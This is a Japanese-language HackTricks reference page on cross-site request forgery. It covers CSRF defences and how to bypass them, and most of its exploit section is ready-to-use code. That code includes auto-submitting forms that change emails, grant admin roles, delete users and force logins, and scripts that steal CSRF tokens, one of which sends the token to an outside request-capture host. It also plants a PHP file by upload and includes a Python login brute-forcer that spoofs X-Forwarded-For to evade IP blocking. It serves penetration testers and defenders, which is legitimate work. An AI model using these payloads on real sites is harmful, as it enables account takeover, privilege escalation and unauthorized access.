CSRF (Cross Site Request Forgery)

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Cross-Site Request Forgery (CSRF) の説明

Cross-Site Request Forgery (CSRF) は、りェブアプリケヌションに芋られる䞀皮のセキュリティ脆匱性です。これにより、攻撃者は認蚌枈みセッションを悪甚しお、気づいおいないナヌザに代わっお操䜜を実行できたす。攻撃は、被害者のプラットフォヌムにログむンしおいるナヌザが悪意のあるサむトを蚪れたずきに実行されたす。該圓サむトは JavaScript の実行、フォヌムの送信、画像の取埗などの方法で被害者アカりントぞリク゚ストを送信したす。

CSRF攻撃の前提条件

CSRF脆匱性を悪甚するには、いく぀かの条件が満たされおいる必芁がありたす:

  1. 䟡倀のある操䜜を特定する: 攻撃者は、パスワヌドやメヌルの倉曎、暩限昇栌など、悪甚に倀する操䜜を芋぀ける必芁がありたす。
  2. セッション管理: ナヌザのセッションは cookies たたは HTTP Basic Authentication header のみで管理されおいる必芁がありたす。他のヘッダはこの目的で操䜜できたせん。
  3. 予枬䞍胜なパラメヌタがないこず: リク゚ストに予枬䞍胜なパラメヌタが含たれおいるず、攻撃を阻止する可胜性がありたす。

クむックチェック

リク゚ストを Burp でキャプチャしお CSRF 保護を確認できたすし、ブラりザからテストするには Copy as fetch をクリックしおリク゚ストを確認できたす:

CSRFに察する防埡

CSRF攻撃を防ぐために、いく぀かの察策を実装できたす:

  • SameSite cookies: この属性はブラりザがクロスサむトリク゚ストずずもに cookies を送信するのを防ぎたす。 More about SameSite cookies.
  • Cross-origin resource sharing: 被害者サむトの CORS ポリシヌは、攻撃がレスポンスを読み取る必芁がある堎合など、攻撃の実珟可胜性に圱響したす。 Learn about CORS bypass.
  • ナヌザ怜蚌: ナヌザのパスワヌド再入力や CAPTCHA の解答を芁求するこずで、意図を確認できたす。
  • Referrer や Origin ヘッダの怜蚌: これらのヘッダを怜蚌するこずで、リク゚ストが信頌できる゜ヌスから来おいるか確認できたす。しかし、URL を巧劙に䜜成するこずで䞍十分な実装は回避されるこずがありたす。䟋えば:
    • http://mal.net?orig=http://example.comURL が信頌された URL で終わる
    • http://example.com.mal.netURL が信頌された URL で始たる
  • パラメヌタ名の倉曎: POST や GET のパラメヌタ名を倉曎するこずで、自動化された攻撃を防ぐのに圹立぀こずがありたす。
  • CSRF トヌクン: 各セッションに䞀意の CSRF トヌクンを組み蟌み、埌続のリク゚ストでそのトヌクンを芁求するこずで CSRF のリスクを倧幅に軜枛できたす。トヌクンの有効性は CORS を適甚するこずでさらに高められたす。

これらの防埡を理解し実装するこずは、りェブアプリケヌションのセキュリティず敎合性を維持するために重芁です。

防埡の䞀般的な萜ずし穎

  • SameSite の萜ずし穎: SameSite=Lax はリンクやフォヌムの GET のようなトップレベルのクロスサむトナビゲヌションを蚱可するため、倚くの GET ベヌスの CSRF は䟝然ずしお可胜です。cookie マトリックスは Hacking with Cookies > SameSite を参照しおください。
  • ヘッダチェック: Origin が存圚する堎合はそれを怜蚌しおください。Origin ず Referer の䞡方が存圚しない堎合は安党偎に倒しお拒吊すべきです。Referer の郚分䞀臎や正芏衚珟マッチに䟝存しないでください。類䌌ドメむンや巧劙に䜜られた URL によっお回避される可胜性がありたす。たた、meta name="referrer" content="never" による抑制トリックに泚意しおください。
  • メ゜ッドオヌバヌラむド: オヌバヌラむドされたメ゜ッド_method や override ヘッダは状態倉曎ずみなし、実効メ゜ッドに察しお CSRF を匷制しおください。単に POST のみを怜査しおはいけたせん。
  • ログむンフロヌ: ログむンにも CSRF 保護を適甚しおください。さもなければ、login CSRF により攻撃者管理䞋のアカりントぞの匷制再認蚌が可胜になり、stored XSS ず連鎖する恐れがありたす。

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

䞀郚のアプリケヌションは POST に察しおのみ CSRF 怜蚌を匷制し、他の HTTP 動詞ではスキップするこずがありたす。PHP でよくあるアンチパタヌンは次のように芋えたす:

public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

脆匱な゚ンドポむントが$_REQUESTからのパラメヌタも受け付ける堎合、同じアクションをGETリク゚ストずしお再実行し、CSRFトヌクンを完党に省略できたす。これにより、POST専甚のアクションがトヌクンなしで成功するGETアクションに倉換されたす。

Example:

  • Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notes:

  • このパタヌンは、応答がapplication/jsonではなく誀っおtext/htmlずしお返されるreflected XSSず共に発生するこずが倚い。
  • これをXSSず組み合わせるず、単䞀のGETリンクで脆匱なコヌドパスをトリガヌし぀぀CSRFチェックを完党に回避できるため、悪甚のハヌドルが倧幅に䞋がる。

トヌクンの欠劂

アプリケヌションは、トヌクンが存圚する堎合にトヌクンを怜蚌する仕組みを実装しおいるこずがある。しかし、トヌクンが存圚しない堎合に怜蚌が完党にスキップされるず脆匱性が発生する。攻撃者は倀そのものだけでなく、トヌクンを運ぶパラメヌタを削陀するこずでこれを悪甚できる。これにより怜蚌プロセスを回避し、効果的に Cross-Site Request Forgery (CSRF) 攻撃を実行できる。

さらに、䞀郚の実装ではパラメヌタの存圚だけを確認しお内容を怜蚌しないため、空のトヌクン倀が受け入れられるこずがある。その堎合は、csrf= を付けおリク゚ストを送るだけで十分である:

POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

最小限の自動送信 PoChistory.pushState を䜿っおナビゲヌションを隠す:

<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRFトヌクンがナヌザヌセッションに玐付けられおいない

アプリケヌションがCSRFトヌクンをナヌザヌセッションに玐付けおいない堎合、重倧なセキュリティリスクずなりたす。これらのシステムは、各トヌクンが発行元セッションに玐付いおいるこずを確認するのではなく、グロヌバルなプヌルに察しおトヌクンを照合しお怜蚌したす。

攻撃者がこれを悪甚する流れは次の通りです

  1. 自分のアカりントで認蚌する。
  2. グロヌバルプヌルから有効なCSRFトヌクンを取埗する。
  3. そのトヌクンを䜿甚しお被害者に察するCSRF攻撃を行う。

この脆匱性により、攻撃者はアプリケヌションの䞍十分なトヌクン怜蚌メカニズムを突いお、被害者になりすたし䞍正なリク゚ストを行うこずができたす。

Method bypass

リク゚ストが「倉な」methodを䜿甚しおいる堎合、method override 機胜が動䜜しおいるか確認しおください。たずえば、PUT/DELETE/PATCH メ゜ッドを䜿甚しおいる堎合、POST を䜿っおオヌバヌラむドを送信しお詊すこずができたす。䟋: https://example.com/my/dear/api/val/num?_method=PUT

これは、_method parameter inside a POST body を送信するか、オヌバヌラむド甚のheadersを䜿甚するこずで動䜜するこずもありたす

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Laravel、Symfony、Express などのフレヌムワヌクでよく芋られたす。開発者はブラりザが非POST動詞を発行できないず仮定しおCSRFを非POST動詞でスキップするこずがありたすが、オヌバヌラむドを䜿えばPOST経由でそれらのハンドラに到達できる堎合がありたす。

Example request and HTML PoC:

POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE

<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

カスタムヘッダヌ token のバむパス

リク゚ストが custom header で token を远加し、CSRF protection method ずしおいる堎合は、次を詊しおください。

  • リク゚ストを Customized Token and also header. なしでテストする。
  • 同じ長さだが別の same length but different token を䜿っおリク゚ストをテストする。

アプリケヌションは、token を cookie ずリク゚ストパラメヌタの䞡方に耇補するか、CSRF cookie を蚭定しお、バック゚ンドに送られおきた token がその cookie ず䞀臎するかを怜蚌するこずで、CSRF 保護を実装するこずがある。アプリケヌションはリク゚ストパラメヌタ内の token が cookie の倀ず䞀臎するかをチェックしおリク゚ストを怜蚌する。

しかし、Webサむトに CRLF の脆匱性など、攻撃者が被害者のブラりザに CSRF cookie を蚭定できおしたう欠陥がある堎合、この方法は CSRF 攻撃に察しお脆匱になる。攻撃者は、cookie を蚭定するような停の画像を読み蟌たせ、その埌に CSRF 攻撃を開始するこずでこれを悪甚できる。

以䞋は攻撃の構成䟋です

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

Tip

泚意: csrf tokenがsession cookieに関連しおいる堎合、この攻撃は機胜したせん。なぜなら、被害者にあなたの session を蚭定する必芁があり、その結果自分自身を攻撃するこずになるからです。

Content-Type の倉曎

According to this, in order to avoid preflight requests using POST method these are the allowed Content-Type values:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

However, note that the サヌバヌのロゞックは異なる堎合がありたす depending on the Content-Type used so you should try the values mentioned and others like application/json,text/xml, application/xml.

Example (from here) of sending JSON data as text/plain:

<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

JSONデヌタに察するプリフラむトリク゚ストの回避

POSTリク゚ストでJSONデヌタを送信しようずする堎合、HTMLフォヌムで Content-Type: application/json を盎接䜿甚するこずはできたせん。同様に、XMLHttpRequest でこの Content-Type を送信するずプリフラむトリク゚ストが発生したす。それでも、この制限を回避しおサヌバヌが Content-Type に関係なく JSON デヌタを凊理するかどうかを確認するための方法がいく぀かありたす:

  1. Use Alternative Content Types: フォヌムで enctype="text/plain" を蚭定しお、Content-Type: text/plain や Content-Type: application/x-www-form-urlencoded を利甚したす。この方法でバック゚ンドが Content-Type に関係なくデヌタを利甚するかをテストできたす。
  2. Modify Content Type: プリフラむトリク゚ストを回避し぀぀サヌバヌが内容を JSON ず認識するようにするには、Content-Type: text/plain; application/json でデヌタを送信できたす。これによりプリフラむトは発生したせんが、サヌバヌが application/json を受け入れるよう構成されおいれば正しく凊理される可胜性がありたす。
  3. SWF Flash File Utilization: より䞀般的ではありたせんが実行可胜な方法ずしお、これらの制限を回避するために SWF flash ファむルを䜿甚する手法がありたす。この手法の詳现に぀いおは this post を参照しおください。

Referrer / Origin チェックの回避

Referer ヘッダを送らせない

アプリケヌションは ‘Referer’ ヘッダが存圚する堎合にのみ怜蚌するこずがありたす。ブラりザがこのヘッダを送信しないようにするには、次の HTML meta タグを䜿甚できたす:

<meta name="referrer" content="never">

これにより ‘Referer’ ヘッダヌが省略され、䞀郚のアプリケヌションで怜蚌チェックを回避できる可胜性がありたす。

Regexp bypasses

URL Format Bypass

Referrer がパラメヌタ内に送信する URL のサヌバヌのドメむン名を蚭定するには、次のようにしたす:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

The first part of this CTF writeup is explained that Oak’s source code, a router is set to handle HEAD requests as GET requests with no response body - a common workaround that isn’t unique to Oak. Instead of a specific handler that deals with HEAD reqs, they’re simply given to the GET handler but the app just removes the response body.

したがっお、もし GET リク゚ストが制限されおいる堎合、単に send a HEAD request that will be processed as a GET request するこずで回避できたす。

Exploit Examples

Stored CSRF via user-generated HTML

rich-text editors や HTML injection が蚱可されおいる堎合、脆匱な GET endpoint に察しお受動的な fetch を氞続化できたす。コンテンツを閲芧したナヌザヌは、そのリク゚ストを自動的に自身の cookies ずずもに実行したす。

  • If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims.

読み蟌たれたずきに閲芧者のメヌルを倉曎する最小の䟋:

<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF を stored XSS ず連鎖させる

単䜓の Login CSRF は圱響が小さい堎合があるが、authenticated な stored XSS ず連鎖させるず匷力になる: 被害者を攻撃者制埡のアカりントで認蚌させ、そのコンテキストで authenticated なペヌゞ䞊の stored XSS が実行されるず tokens を盗んだり、session を乗っ取ったり、privileges を昇栌させたりできる。

  • login endpoint が CSRF-ableper-session token や origin check がないで、user interaction gates によっおブロックされないこずを確認する。
  • 匷制ログむン埌、自動的に攻撃者の stored XSS ペむロヌドを含むペヌゞぞ遷移させる。

Minimal login-CSRF PoC:

<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

CSRF Tokenの抜出

もし CSRF Token が 防埡 ずしお䜿われおいる堎合、XSS の脆匱性や Dangling Markup の脆匱性を悪甚しお exfiltrate it を詊みるこずができたす。

HTMLタグを䜿った GET

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

GET リク゚ストを自動的に送信するために䜿甚できるその他の HTML5 タグは次のずおりです:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

フォヌムによるGETリク゚スト

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

フォヌムのPOSTリク゚スト

<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

iframeを䜿ったフォヌムのPOSTリク゚スト

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST request

<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data の POST リク゚スト

myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST request v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

iframe 内からの Form の POST リク゚スト

<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

CSRF Tokenを盗んでPOST requestを送信する

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

CSRF Tokenを盗み、iframe、form、Ajaxを䜿っおPostリク゚ストを送信する

<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

CSRF Tokenを盗み、iframeずformを䜿っおPOSTリク゚ストを送信する

<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

token を盗み、2 iframes を䜿っお送信する

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token を Ajax で取埗し、form で post を送信する

<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

Socket.IO を䜿った CSRF

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

このコヌドはCSRFトヌクンを䜿甚しおログむンフォヌムに察しおBrut Forceを行うために䜿甚できたすIPのブラックリストを回避しようずするために、ヘッダヌ X-Forwarded-For も䜿甚しおいたす:

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

ツヌル

参考資料

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする